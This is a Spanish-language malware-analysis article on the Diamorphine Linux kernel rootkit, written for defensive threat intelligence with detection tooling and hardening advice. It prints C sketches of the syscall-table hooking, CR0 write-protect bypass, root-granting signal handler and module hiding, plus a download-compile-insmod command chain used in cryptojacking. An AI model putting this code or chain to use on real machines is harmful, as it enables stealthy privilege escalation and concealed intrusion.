AvanzadorootkitsLinuxLKMDiamorphinekernelsyscall

Diamorphine: El Rootkit LKM Open-Source Más Referenciado en Linux

Análisis técnico de Diamorphine, el rootkit LKM open-source para Linux más utilizado por threat actors. Hooks syscall table, señales mágicas, ocultación de procesos y detección con eBPF.

MalwareIntel Research··11 min lectura
Serie: Rootkits y Bootkits — Parte 16

El rootkit Linux que todo analista debe conocer

Diamorphine es un rootkit de tipo LKM (Loadable Kernel Module) open-source, mantenido en GitHub bajo el repositorio m0nad/Diamorphine. Compatible con kernels Linux desde la serie 2.6.x hasta 6.x, es el rootkit Linux más citado en reportes de threat intelligence y el que más variantes derivadas ha generado en campañas reales.

Su relevancia no es académica. TeamTNT, Rocke y múltiples operaciones de cryptojacking en entornos cloud lo han desplegado (o variantes directas de su código) para ocultar procesos de minería de criptomonedas en servidores comprometidos.

Por qué importa en CTI

Diamorphine aparece en reportes de Trend Micro, Aqua Security, Lacework y Unit 42 como componente recurrente en cadenas de ataque contra infraestructura Linux en la nube. Tres razones principales:

  1. Código mínimo y modificable. Unas 300 líneas de C. Cualquier atacante con conocimientos básicos de kernel puede adaptarlo.
  2. Funcionalidad completa para cryptojacking. Oculta procesos (mineros), ficheros (binarios, configuración) y se oculta a sí mismo de lsmod.
  3. Compatible con kernels modernos. Se adapta a cambios en la API del kernel Linux con macros condicionales por versión.

Arquitectura: Loadable Kernel Module

Diamorphine se compila como un módulo del kernel (.ko) y se carga con insmod o modprobe. Una vez cargado, opera en ring 0 con acceso total al espacio de direcciones del kernel.

El flujo de instalación típico en una intrusión:

1. Acceso inicial (SSH brute force, exploit, container escape)
2. Descarga del código fuente o .ko precompilado
3. make (compilación contra headers del kernel del host)
4. insmod diamorphine.ko (carga en el kernel)
5. El módulo se auto-oculta de lsmod inmediatamente

Al cargarse, la función module_init ejecuta tres operaciones:

static int __init diamorphine_init(void)
{
    // 1. Localizar la sys_call_table en memoria
    __sys_call_table = get_syscall_table_addr();

    // 2. Guardar punteros originales de las syscalls objetivo
    orig_getdents64 = (void *)__sys_call_table[__NR_getdents64];
    orig_kill       = (void *)__sys_call_table[__NR_kill];

    // 3. Deshabilitar protección de escritura y reemplazar
    unprotect_memory();
    __sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
    __sys_call_table[__NR_kill]       = (unsigned long)hacked_kill;
    protect_memory();

    // 4. Ocultar el módulo de la lista
    module_hide();

    return 0;
}

Localización de sys_call_table

El primer reto técnico es encontrar la dirección de sys_call_table en memoria. En kernels modernos esta tabla no se exporta como símbolo. Diamorphine usa kallsyms_lookup_name() en kernels que lo permiten (pre-5.7) o técnicas alternativas en versiones posteriores:

// Método 1: kallsyms (kernels < 5.7)
__sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");

// Método 2: kprobes (kernels >= 5.7)
// Registra un kprobe en kallsyms_lookup_name para obtener su dirección,
// luego usa esa dirección para resolver sys_call_table
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
register_kprobe(&kp);
kallsyms_lookup_name_t fn = (void *)kp.addr;
unregister_kprobe(&kp);
__sys_call_table = (void *)fn("sys_call_table");

Deshabilitación de protección de escritura

La sys_call_table reside en memoria marcada como solo lectura. Para modificarla, Diamorphine deshabilita el bit WP (Write Protection) del registro de control CR0:

static inline void unprotect_memory(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);   // Bit 16 = WP (Write Protection)
    write_cr0(cr0);
}

static inline void protect_memory(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}

Variantes más recientes usan set_memory_rw() y set_memory_ro() sobre las páginas específicas de la tabla, evitando la modificación global de CR0 que es más detectable.

Nota defensiva: En kernels con CONFIG_X86_WP_WORKS_OK y SMEP/SMAP habilitados, la manipulación de CR0 genera eventos detectables por herramientas de monitorización a nivel de hipervisor.

Señales mágicas: el canal de control

Diamorphine intercepta la syscall kill() para interpretar tres señales especiales que actúan como comandos de control. Estas señales nunca llegan al proceso destino:

SeñalComandoEfecto
kill -31 <cualquier_pid>Toggle móduloAlterna visibilidad del módulo en lsmod y /proc/modules
kill -63 <cualquier_pid>Give rootOtorga uid=0, gid=0 al proceso que envía la señal
kill -64 <pid_objetivo>Toggle procesoOculta o muestra el proceso con ese PID en /proc y listados

Implementación simplificada del hook de kill:

asmlinkage int hacked_kill(pid_t pid, int sig)
{
    struct task_struct *task;

    switch (sig) {
        case 31:    // Toggle visibilidad del módulo
            if (module_hidden)
                module_show();
            else
                module_hide();
            return 0;

        case 63:    // Dar root al proceso que llama
            give_root();
            return 0;

        case 64:    // Toggle visibilidad del proceso por PID
            task = find_task(pid);
            if (task)
                toggle_process_visibility(task);
            return 0;
    }

    // Señal normal: pasar a la syscall original
    return orig_kill(pid, sig);
}

void give_root(void)
{
    struct cred *new_cred;
    new_cred = prepare_creds();
    if (new_cred) {
        new_cred->uid.val  = 0;
        new_cred->gid.val  = 0;
        new_cred->euid.val = 0;
        new_cred->egid.val = 0;
        new_cred->suid.val = 0;
        new_cred->sgid.val = 0;
        commit_creds(new_cred);
    }
}

Hook de getdents64: ocultación de ficheros y procesos

La syscall getdents64 es la que usan herramientas como ls, ps y find para enumerar entradas de directorio. Diamorphine la intercepta para filtrar las entradas que quiere ocultar:

asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 *dirp,
                                  unsigned int count)
{
    int ret = orig_getdents64(fd, dirp, count);
    // ret = bytes totales de entradas de directorio

    struct linux_dirent64 *cur = dirp;
    int offset = 0;

    while (offset < ret) {
        // Si el nombre empieza con el prefijo mágico
        // o es un PID oculto en /proc
        if (should_hide(cur->d_name)) {
            // Eliminar esta entrada: mover las siguientes hacia atrás
            int reclen = cur->d_reclen;
            memmove(cur, (char *)cur + reclen, ret - offset - reclen);
            ret -= reclen;
        } else {
            offset += cur->d_reclen;
            cur = (void *)dirp + offset;
        }
    }

    return ret;  // Retorna bytes reducidos, sin las entradas ocultas
}

Para ocultar ficheros en el filesystem, Diamorphine filtra entradas cuyo nombre contiene un prefijo configurable (por defecto, nombres que comienzan con un string específico definido en compilación). Para ocultar procesos, filtra entradas numéricas en /proc que corresponden a PIDs marcados como ocultos.

Ocultación del módulo

Cuando el módulo se oculta (estado por defecto al cargarse), se elimina de las estructuras que el kernel expone al espacio de usuario:

void module_hide(void)
{
    // Eliminar de la lista enlazada de módulos
    // (esto lo oculta de lsmod y /proc/modules)
    list_del(&THIS_MODULE->list);

    // Eliminar de sysfs (/sys/module/)
    kobject_del(&THIS_MODULE->mkobj.kobj);

    module_hidden = 1;
}

void module_show(void)
{
    // Re-insertar en la lista de módulos
    list_add(&THIS_MODULE->list, prev_module);

    // No siempre restaura sysfs (depende de la variante)
    module_hidden = 0;
}

list_del desenlaza el módulo de la lista doblemente enlazada que el kernel recorre para /proc/modules. Es la misma técnica conceptual que DKOM en Windows (desenlazar de una lista del kernel), pero aplicada a las estructuras de módulos de Linux.

Uso en campañas reales

TeamTNT

El grupo TeamTNT, activo desde 2019 en ataques contra infraestructura cloud (Docker, Kubernetes, AWS), ha desplegado Diamorphine en múltiples campañas documentadas:

  • Campañas de cryptojacking (2020-2023): Tras obtener acceso a contenedores mal configurados, desplegaban Diamorphine para ocultar procesos XMRig (minero de Monero). Documentado por Trend Micro y Aqua Security.
  • Operaciones en Kubernetes: Escape de contenedores seguido de compilación e instalación de Diamorphine en el nodo host. El rootkit ocultaba tanto el proceso del minero como los ficheros de configuración.

Rocke Group (Iron Cybercrime Group)

Rocke incorporó variantes de Diamorphine en sus operaciones de cryptomining, combinándolo con técnicas de eliminación de herramientas de seguridad cloud (agentes de Alibaba Cloud, Tencent Cloud). Documentado por Cisco Talos y Unit 42.

Ataques genéricos a cloud

Múltiples campañas no atribuidas en AWS EC2 y GCP Compute Engine han utilizado scripts automatizados que descargan, compilan y cargan Diamorphine como parte de la cadena de post-explotación. El patrón habitual:

curl -sL [URL]/diamorphine.tar.gz | tar xz
cd diamorphine && make
insmod diamorphine.ko
kill -63 0          # Root para el shell actual
kill -64 [pid_xmrig] # Ocultar el minero

Detección

Herramientas clásicas

HerramientaQué detectaLimitaciones
rkhunterHooks de syscall table conocidos, ficheros sospechososBase de firmas estática, no detecta variantes modificadas
chkrootkitProcesos ocultos (comparación /proc vs /bin/ps)Fácilmente evadido por hooks que cubren ambos caminos
unhideDiscrepancias entre listados de procesos por diferentes métodosEfectivo contra Diamorphine estándar
/proc/kallsymsSímbolos del módulo pueden persistir incluso ocultoDepende de la configuración del kernel

Detección basada en eBPF

Las técnicas modernas de detección usan eBPF para monitorizar a nivel de tracepoint, por debajo de los hooks de Diamorphine:

1. Attach de programa eBPF a tracepoint sys_enter_getdents64
2. Registrar los PIDs/ficheros que el kernel realmente procesa
3. Comparar con lo que la syscall retorna al userspace
4. Discrepancias = evidencia de hook en la syscall table

Herramientas como Tracee (Aqua Security) y Falco (Sysdig) implementan esta estrategia. Tracee específicamente tiene reglas para detectar la manipulación de CR0 y la carga de módulos que se auto-ocultan.

Verificación manual defensiva

# Comparar /proc/modules con kallsyms (módulos ocultos aparecen en kallsyms)
cat /proc/kallsyms | grep diamorphine

# Buscar discrepancias en conteo de procesos
ls -d /proc/[0-9]* | wc -l
# vs
ps aux | wc -l
# Diferencia significativa = procesos ocultos

# Verificar integridad de sys_call_table (requiere conocer dirección base)
# En sistemas con kprobes habilitados:
cat /proc/kallsyms | grep sys_call_table

Comparación con otros rootkits LKM Linux

CaracterísticaDiamorphineReptileAdore-NG
Líneas de código~300~3.000~800
Kernels soportados2.6.x - 6.x2.6.x - 5.x2.2 - 2.6 (obsoleto)
Ocultación de procesosSi (getdents64 hook)Si (getdents64 hook + VFS)Si (getdents hook)
Ocultación de ficherosSi (prefijo configurable)Si (prefijo + extensión)Si
Ocultación del móduloSi (list_del)Si (list_del + sysfs)Si
Backdoor de redNoSi (port knocking + reverse shell cifrada)No
Escalada de privilegiosSi (kill -63)Si (señal mágica)Si
KeyloggerNoSiNo
PersistenciaNo (solo en RAM)Si (udev rules, initramfs)No
Comunicación cifradaNo aplicaSi (AES para reverse shell)No aplica
Mantenimiento activoEsporádicoActivo (2024)Abandonado

Diamorphine destaca por su minimalismo. No incluye backdoor de red ni persistencia, lo que reduce su superficie detectable. Los atacantes lo combinan con otros componentes (scripts de persistencia, C2 frameworks) según necesiten.

Mapeo MITRE ATT&CK

TécnicaIDUso en Diamorphine
RootkitT1014Categoría principal. LKM que oculta artefactos del sistema
Kernel Modules and ExtensionsT1547.006Se carga como módulo del kernel con insmod
HookingT1574.013Intercepta syscalls (getdents64, kill) en la sys_call_table
Hide ArtifactsT1564Oculta procesos, ficheros y el propio módulo
Process Discovery (evasión)T1057El hook de getdents64 impide descubrir procesos ocultos
Access Token ManipulationT1134kill -63 modifica credenciales del proceso a uid 0

Contramedidas recomendadas

  1. Restringir carga de módulos del kernel. Configurar kernel.modules_disabled=1 en sysctl después del boot, o usar module signing (CONFIG_MODULE_SIG_FORCE).
  2. Monitorizar con eBPF. Desplegar Tracee o Falco con reglas para detectar manipulación de CR0, carga de módulos sospechosos y discrepancias en enumeración de procesos.
  3. Integridad de la syscall table. Herramientas de integridad a nivel de hipervisor pueden verificar que los punteros en sys_call_table no han sido modificados.
  4. Secure Boot + Lockdown mode. El kernel lockdown mode (desde Linux 5.4) impide la carga de módulos no firmados y restringe el acceso a /dev/mem.
  5. Auditoría de módulos cargados. Alertar en SIEM cuando se carga un módulo no incluido en la whitelist del sistema.

Fuentes y referencias

  • m0nad/Diamorphine (repositorio original, GitHub)
  • Trend Micro: "TeamTNT Targets Cloud Environments" (2021)
  • Aqua Security: "Threat Alert: TeamTNT is Back" (2023)
  • Cisco Talos: "Rocke: The Champion of Monero Miners" (2019)
  • Unit 42: "Cloud Threat Report" (2022)
  • MITRE ATT&CK: T1014 Rootkit, T1547.006 Kernel Modules and Extensions
  • Tracee by Aqua Security: detección de rootkits via eBPF

Artículo con fines exclusivamente defensivos. El análisis de rootkits permite a equipos de seguridad mejorar sus capacidades de detección y respuesta. MalwareIntel no proporciona binarios, payloads ni instrucciones de despliegue ofensivo.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.